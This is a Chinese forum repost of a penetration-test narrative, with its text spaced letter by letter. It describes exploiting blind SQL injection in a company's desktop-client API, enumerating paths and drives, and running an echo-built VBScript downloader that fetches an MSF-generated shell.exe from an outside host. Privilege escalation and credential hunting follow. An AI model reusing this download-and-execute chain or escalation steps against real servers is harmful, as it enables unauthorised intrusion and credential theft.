搜索

[18315] 2021-03-18_记一次渗透实录

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-03-18_记一次渗透实录 记 一 次 渗 透 实 录 M r . W u   H A C K 之 道   2 0 2 1 - 0 3 - 1 8 得 到 目 标 后 ， 先 对 目 标 官 网 进 行 了 一 次 常 规 的 渗 透 检 测 ， 并 没 有 发 现 什 么 突 破 口 ， 然 后 又 检 测 了 下   A P P   然 而 还 是 么 有 什 么 卵 用 。 在 一 筹 莫 展 之 时 发 现 目 标 还 有   P C   端 的 软 件 ， 果 断 下 载 抓 包 测 试 一 番 ， 成 功 得 到   2   处   S Q L   注 入 漏 洞 。 目 标 官 网 ： w w w . x x x . c o m   软 件 的 U R L ： s b l - w e b a p i . s s s . c o m   对   s b l - w e b a p i . s s s . c o m   服 务 器 进 行 端 口 扫 描 发 现 存 在   1 4 3 3   和   3 3 8 9 注 入 点 是 降 权 的   D B A   权 限 的   盲 注 ， o s - s h e l l   交 互 s h e l l   1 0 分 钟 一 条 回 显 ， 速 度 巨 慢 ， 经 过 几 天 的 折 腾 ， 曾 成 功 进 入 过   2   个 后 台 ， 但 是   2   处 后 台 虽 然 存 在 任 意 上 传 ， 但 是 启 用 的 阿 里 云 的   o s s   ， 所 以 注 定 图 片 上 传 没 戏 ， 其 他 地 方 也 没 发 现 什 么 突 破 口 。 。 。 然 后 想 的 是 寻 找 绝 对 路 径 直 接 写   s h e l l   反 正 有 交 互   s h e l l   嘛 。 d i r   / S   / D   c : w e b . c o n f i g 使 用 上 方 的 命 令 尝 试 搜 索   C D E F   结 果 并 没 有 搜 到 目 标 绝 对 路 径 ， 不 过 得 到 这 么 一 个 路 径 ： 使 用 下 方 命 令 确 定 盘 符 ： w m i c   l o g i c a l d i s k   w h e r e   D r i v e T y p e = 3   g e t   D e v i c e I D 得 到   C 、 F   2 个 盘 ， 但 是 F 盘 是 空 的 。 尝 试 往     写   1 . t x t   测 试 ， 访 问 发 现 不 存 在 ， 但 是 文 件 又 确 实 写 入 了 ， 因 此 判 断 非 绝 对 路 径 ， 但 是 实 在 找 不 到 别 的 路 径 了 。 尝 试 读 取 配 置 文 件     然 而 里 面 并 没 有 我 想 要 的 东 西 。 。 。 如 果 用 命 令 继 续 翻 目 录 读 目 录 ， 按 照 这 交 互 速 度 ， 那 得 折 腾 到 啥 时 候 去 。 。 。 其 实 已 经 折 腾 两 天 多 了 。 。 最 后 想 到 个 方 法 成 功 搞 定 ： e c h o   s e t   a = c r e a t e o b j e c t ( ^ " a d o d ^ " + ^ " b . s t r e a m ^ " ) : s e t   w = c r e a t e o b j e c t ( ^ " m i c r o ^ " + ^ " s o f t . x m l h t t p ^ "   c s c r i p t   d . v b s   h t t p : / / 1 . 1 . 1 . 1 / 1 . e x e   C : W i n d o w s t e m p 1 . e x e c : i n e t p u b w w w r o o t L H W e b c : i n e t p u b w w w r o o t L H W e b u p l o a d t y p e   c : i n e t p u b w w w r o o t L H W e b w e b . c o n f i g
通 过 上 方 的 命 令 ， 成 功 下 载 了 M S F 生 成 的 s h e l l . e x e 到 目 标 服 务 器 ， 然 后 执 行 获 取 到 一 个 低 权 限 交 互 s h e l l
然 后 利 用 巴 西 烤 肉 成 功 提 权
然 后 快 乐 的 去 登 陆   3 3 8 9   ， 结 果 失 败 ， 然 后 把 ， 不 得 不 认 清 现 实 ， 站 酷 分 离 . . . . . 尝 试   g e t p a s s   看 看 是 不 是 统 一 的 密 码 ， 结 果 失 败 ， 没 读 出 来 ， 好 吧 好 吧 ， s y s t e m   权 限 的 交 互 s h e l l ， 慢 慢 折 腾 吧 ， 经 过 各 种 翻 文 件 ， 最 后 终 于 找 到 了 我 要 的 东 西 ：
至 此 成 功 搞 定 ~ 作 者 ： M r . W u ， 原 文 链 接 ： h t t p s : / / w w w . m r w u . r e d / w e b / 3 5 1 5 . h t m l ● 干 货 | 渗 透 学 习 资 料 大 集 合 （ 书 籍 、 工 具 、 技 术 文 档 、 视 频 教 程 ）
点 击 上 方 ， 关 注 公 众 号 点 击 上 方 ， 关 注 公 众 号 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ” 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理